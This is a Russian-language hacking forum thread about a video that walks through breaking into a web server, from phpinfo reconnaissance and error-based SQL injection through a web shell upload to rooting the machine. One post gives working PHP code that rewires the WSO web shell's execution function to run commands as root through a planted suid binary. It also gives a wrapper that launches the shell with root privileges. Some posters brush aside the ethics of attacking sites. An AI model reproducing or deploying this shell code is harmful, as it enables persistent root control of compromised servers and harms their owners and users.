Собственно о чем сабж. Мы начнем от сбора инфы и закончем рутом. - Находим пхпинфо, отмечаем некоторые директивы - Находим читалку файлов - Находим sql-инъекцию в update запросе, крутим с помощью вывода в ошибке - Находим произвольную заливку файлов, заливаем шелл - Рутаем сервер, заливаем суидник, правим функцию исполнения в всо В видео не вошли некоторые моменты типо протачивания, протроянивания и анализа других файлов. http://www.youtube.com/watch?v=r4mibQc5-s4 http://www.multiupload.com/3XJC5E5WW7
Удтверждение "найти уязвимый сайт" не соотвествует действительности, а соответствует абсурду(либо вы не смотрели видео, либо еще что-то), ибо надо сказать "поиск уязвимостей на сайте и в коде". А ну если для вас найденный пхпинфо(а именно с этого началось видео) это уже супербажный сайт, то... Хотя впрочем, это ваше право называть слоном таракана и наоборот=\ То, что сайт бажный никто как бы и не отрицал. Но эти баги вылились уже в ходе анализа.
да, действительно. ТС уже не раз показал свои знания и навыки. Он являет собой в этом плане достойный пример для остальных. Мое имхо. У него неплохие показатели, но вот ЭТО не укладывается ни в какие рамки. Будь моя воля, я бы закрыл для таких дорогу в группы навсегда. знания и активность не идут ни в какое сравнение с порядочностью. последнее это не приобретаемое качество по жизни! Сама идея записи видео - не бросить понт типа взлома ВК или другого миллионника(это безусловно красиво и интересно посмотреть, но не более), а в том, чтобы показать сам процесс взлома, чем подробнее и доступней преподнесен материал, тем большая польза от этого видео. Наша цель пребывания на Античате - научиться работать с уязвимостями, кто-то умеет и знает больше, кто-то меньше, это форум(общение) и главная его функция это обмен информацией между пользователями, где информация - знания! UPD: видео не претендует на конкурс, и пусть он похекал собственный сайт с искусственно созданными уязвимостями, это не имеет значения, ибо видео служит для познавательных целей, а значит, на нем может быть искусственно смоделированная ситуация. повторюсь, главное что он показал на видео, а не сайт который он поимел. Ну а если уж детально разобраться, то, чтоб создать уязвимость, надо знать php+sql как минимум, далее, надо представлять как эксплуатируется сей баг, надо составить четкий план взлома, понять, как это будет выглядеть, оценить насколько эта картина будет познавательна и полезна.Чем данное видео тебя конкретно не устраивает? опуская тот факт, что он админ покеханного сайта/купил к нему доступ или взломал чужой проект и не владел/видел его исходников. UPD_2# : Хватит флудить и оффтопить. Обсуждения только по теме видео и не более. Следующий флудераст который объявится в топике получит БАН.
порядочность - это чушь. прaвилa нужны тeм, кто бeз них остaнeтся в проигрaшe. по поводу видeо: нe плохо, но вeсьмa стaндaртнп. зaчaстую, путь горaздо тeрнистee, я увeрeн, что тс и сaм это знaeт. но eсли откинуть всe это - молодeц!
php 5 и register_globals = on это что-то)) да и ядро 2006 года сборки тоже. В целом видео хорошее. А вообще пугает реальность, я помню античат еще года с 2002 читал, раньше взлом был это когда в чат пишеш хтмл-тэгами а сейчас сервера рутают, интересно что будет дальше. ЗЫ Видео скачал в коллекцию =)
Насчет, рутового шелла, то тут возможны варианты. 1.) Исполнение команд из под рута в всо Ну думаю тут все понятно, правим функцию исполнения в всо, чтоб они выполнялись через суидник. PHP: function wsoEx($in) { $root = "/tmp/suid d0s '".$in."'"; $out = ''; if (function_exists('exec')) { @exec($root,$out); $out = @join("\n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($root); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($root); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($root); } elseif (is_resource($f = @popen($root,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } Где, как не трудно догадаться /tmp/suid наш суидник, а d0s пароль. В итоге, получаем исполнение команд из под рута в всо. 2.)Шелл из под рута Оболочка, запускающая шелл PHP: <?php $root = "/tmp/suid d0s \"php /tmp/wso2.php '".base64_encode(serialize($_POST))."' '".base64_encode(serialize($_SERVER))."'\""; @system($root); ?> Где суидник, пасс и путь к нашему всо, а также сериализованные массивы в виде аргументов. Соотвественно, в всо в самое начала добавляем ансериализацию и декод аргументов. И комментируем пасс. PHP: $_POST = unserialize(base64_decode($argv[1])); $_SERVER = unserialize(base64_decode($argv[2])); Итог
Заметил такую особенность, если в консоли вводишь команду: whereis php И получаешь нормальный ответ(php: путь к интерпретатору php) то wso работает через оболочку! а если в ответ на команду: whereis php получаешь ответ: то после ввода пароля в оболочке получаешь не рут шелл а белый экран... 2 ~d0s~ Если не трудно, можете подсказать что делать в этом случае ? можно как-то заставить работать на таких серверах ?